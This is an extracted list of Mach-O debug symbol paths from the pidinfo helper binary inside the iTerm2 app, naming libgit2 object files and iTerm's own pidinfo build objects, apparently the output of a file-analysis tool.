Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sha1.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refspec.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(regexp.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(registry.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(remote.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(repository.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(revparse.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(revwalk.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(runtime.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refs.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart_pkt.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart_protocol.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(socket.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sortedcache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ssh.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(status.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(stdalloc.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(stransport.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(signature.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sysdir.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tag.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(thread.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(threadstate.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tls.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(trace.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(transaction.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(strarray.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(strmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(submodule.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ubc_check.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(unicode_builtin.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(util.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(util.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(varint.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(vector.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(transport.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tree-cache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tree.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tsort.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xmerge.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xpatience.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xprepare.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xutils.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(zstream.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(wildmatch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(worktree.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xdiffi.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xemit.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xhistogram.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/PIDInfoGitState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/iTermFileDescriptorServerShared.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/iTermGitClient.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/iTermGitState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/x86_64/pidinfo.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mbedtls.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge_driver.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge_file.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(midx.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(iterator.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(libgit2.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(local.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mailmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(map.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb_loose.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb_pack.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(offmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mwindow.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(net.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(netops.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ntlm.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(object.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(object_api.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(patch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(patch_generate.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(path.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(oid.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(oidarray.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(oidmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(openssl.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(pack-objects.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(pack.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(parse.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refdb_fs.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(reflog.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(pathspec.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(pool.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(posix.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(pqueue.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(proxy.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(push.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(realpath.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refdb.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
